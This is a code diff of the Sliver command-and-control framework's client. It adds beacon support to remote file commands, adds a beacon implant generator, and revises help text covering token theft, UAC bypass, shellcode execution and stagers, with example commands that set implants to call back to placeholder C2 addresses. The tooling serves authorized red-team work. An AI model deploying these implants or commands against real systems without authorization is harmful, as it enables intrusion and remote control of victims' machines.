err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPwd(pwd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(pwd.Response)
|
||||
} else {
|
||||
con.PrintInfof("%s\n", pwd.Path)
|
||||
PrintPwd(pwd, con)
|
||||
}
|
||||
}
|
||||
@@ -27,16 +27,18 @@ import (
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// DownloadCmd - Download a file from the remote system
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -55,19 +57,10 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
ctrl <- true
|
||||
@@ -76,7 +69,51 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDownload(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintDownload(download, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDownload - Print the download response, and save file to disk
|
||||
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
@@ -96,13 +133,4 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
}
|
||||
|
||||
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
|
||||
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
|
||||
// if err != nil {
|
||||
// con.PrintErrorf("Failed to save output as loot: %s", err)
|
||||
// } else {
|
||||
// fmt.Printf(Info + "Output saved as loot\n")
|
||||
// }
|
||||
// }
|
||||
}
|
||||
@@ -29,16 +29,18 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// LsCmd - List the contents of a remote directory
|
||||
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -60,18 +62,17 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurence == -1 {
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurence]
|
||||
potentialFilter := remotePath[lastSeparatorOccurence+1:]
|
||||
// The indices should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence]
|
||||
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
@@ -84,18 +85,36 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if ls.Response != nil && ls.Response.Async {
|
||||
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, ls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, con, ctx.Flags, filter)
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
|
||||
|
||||
@@ -22,15 +22,17 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MkdirCmd - Make a remote directory
|
||||
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -42,12 +44,34 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if mkdir.Response != nil && mkdir.Response.Async {
|
||||
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, mkdir)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMkdir(mkdir, con)
|
||||
})
|
||||
con.PrintAsyncResponse(mkdir.Response)
|
||||
} else {
|
||||
con.PrintInfof("%s\n", mkdir.Path)
|
||||
PrintMkdir(mkdir, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMkdir - Print make directory
|
||||
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
|
||||
if mkdir.Response != nil && mkdir.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mkdir.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", mkdir.Path)
|
||||
}
|
||||
@@ -22,24 +22,47 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PwdCmd - Print the remote working directory
|
||||
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPwd(pwd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(pwd.Response)
|
||||
} else {
|
||||
con.PrintInfof("%s\n", pwd.Path)
|
||||
PrintPwd(pwd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintPwd - Print the remote working directory
|
||||
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
|
||||
if pwd.Response != nil && pwd.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pwd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", pwd.Path)
|
||||
}
|
||||
@@ -22,15 +22,17 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RmCmd - Remove a directory from the remote file system
|
||||
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -42,14 +44,36 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if rm.Response != nil && rm.Response.Async {
|
||||
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, rm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRm(rm, con)
|
||||
})
|
||||
con.PrintAsyncResponse(rm.Response)
|
||||
} else {
|
||||
con.PrintInfof("%s\n", rm.Path)
|
||||
PrintRm(rm, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRm - Print the rm response
|
||||
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
|
||||
if rm.Response != nil && rm.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", rm.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", rm.Path)
|
||||
}
|
||||
@@ -26,16 +26,18 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UploadCmd - Upload a file to the remote system
|
||||
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -67,7 +69,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
@@ -77,7 +79,29 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if upload.Response != nil && upload.Response.Async {
|
||||
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, upload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintUpload(upload, con)
|
||||
})
|
||||
con.PrintAsyncResponse(upload.Response)
|
||||
} else {
|
||||
con.PrintInfof("Wrote file to %s\n", upload.Path)
|
||||
PrintUpload(upload, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintUpload - Print the result of the upload command
|
||||
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
|
||||
if upload.Response != nil && upload.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", upload.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Wrote file to %s\n", upload.Path)
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
minBeaconInterval = 15 * time.Second
|
||||
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
|
||||
)
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
|
||||
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
|
||||
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
if interval < minBeaconInterval {
|
||||
return ErrBeaconIntervalTooShort
|
||||
}
|
||||
config.BeaconInterval = int64(interval)
|
||||
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
|
||||
return nil
|
||||
}
|
||||
@@ -62,8 +62,8 @@ const (
|
||||
|
||||
// DefaultReconnect is the default reconnect time
|
||||
DefaultReconnect = 60
|
||||
// DefaultPoll is the default poll interval
|
||||
DefaultPoll = 1
|
||||
// DefaultPollTimeout is the default poll timeout
|
||||
DefaultPollTimeout = 360 // 6 minutes
|
||||
// DefaultMaxErrors is the default max reconnection errors before giving up
|
||||
DefaultMaxErrors = 1000
|
||||
)
|
||||
@@ -82,31 +82,6 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
// validFormats = []string{
|
||||
// "bash",
|
||||
// "c",
|
||||
// "csharp",
|
||||
// "dw",
|
||||
// "dword",
|
||||
// "hex",
|
||||
// "java",
|
||||
// "js_be",
|
||||
// "js_le",
|
||||
// "num",
|
||||
// "perl",
|
||||
// "pl",
|
||||
// "powershell",
|
||||
// "ps1",
|
||||
// "py",
|
||||
// "python",
|
||||
// "raw",
|
||||
// "rb",
|
||||
// "ruby",
|
||||
// "sh",
|
||||
// "vbapplication",
|
||||
// "vbscript",
|
||||
// }
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -235,7 +210,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
}
|
||||
|
||||
reconnectInterval := ctx.Flags.Int("reconnect")
|
||||
pollInterval := ctx.Flags.Int("poll")
|
||||
pollTimeout := ctx.Flags.Int("poll-timeout")
|
||||
maxConnectionErrors := ctx.Flags.Int("max-errors")
|
||||
|
||||
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
|
||||
@@ -308,8 +283,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
|
||||
|
||||
ReconnectInterval: uint32(reconnectInterval),
|
||||
PollInterval: uint32(pollInterval),
|
||||
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
|
||||
PollTimeout: int64(pollTimeout) * int64(time.Second),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
|
||||
LimitDomainJoined: limitDomainJoined,
|
||||
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
|
||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
||||
console.Bold, target, console.Normal,
|
||||
)
|
||||
con.Printf("⚠️ Default implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Compile a Default build?"}
|
||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
@@ -500,9 +475,12 @@ func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
} else {
|
||||
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
}
|
||||
if config.ObfuscateSymbols {
|
||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
||||
} else if !config.Debug {
|
||||
|
||||
@@ -45,8 +45,8 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
groups := make(map[string]*grumble.Commands)
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
if con.ActiveSession.Get() != nil {
|
||||
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
|
||||
if con.ActiveTarget.GetSession() != nil {
|
||||
if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
|
||||
@@ -173,7 +173,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
|
||||
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
command.
|
||||
`
|
||||
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
|
||||
@@ -201,23 +201,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
|
||||
|
||||
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
|
||||
|
||||
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
|
||||
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
`
|
||||
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
|
||||
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
generate-profile mtls-profile
|
||||
`
|
||||
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
|
||||
@@ -228,12 +228,12 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
|
||||
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
|
||||
[[.Bold]]About:[[.Normal]] List processes on remote system.`
|
||||
|
||||
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
|
||||
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
|
||||
c2 message round trip to ensure the remote Sliver is still responding to commands.`
|
||||
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
|
||||
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
|
||||
C2 message round trip to ensure the remote implant is still responding to commands.`
|
||||
|
||||
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
|
||||
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
|
||||
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
|
||||
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
|
||||
|
||||
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
|
||||
@@ -263,10 +263,10 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
`
|
||||
|
||||
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
|
||||
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
|
||||
|
||||
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
|
||||
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
|
||||
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
|
||||
|
||||
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Create a remote directory.`
|
||||
@@ -290,20 +290,20 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
|
||||
|
||||
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
|
||||
|
||||
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
|
||||
|
||||
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
|
||||
|
||||
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
|
||||
`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||
@@ -428,9 +428,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
|
||||
This command uploads a Sliver binary generated on the fly from a profile.
|
||||
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
|
||||
|
||||
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
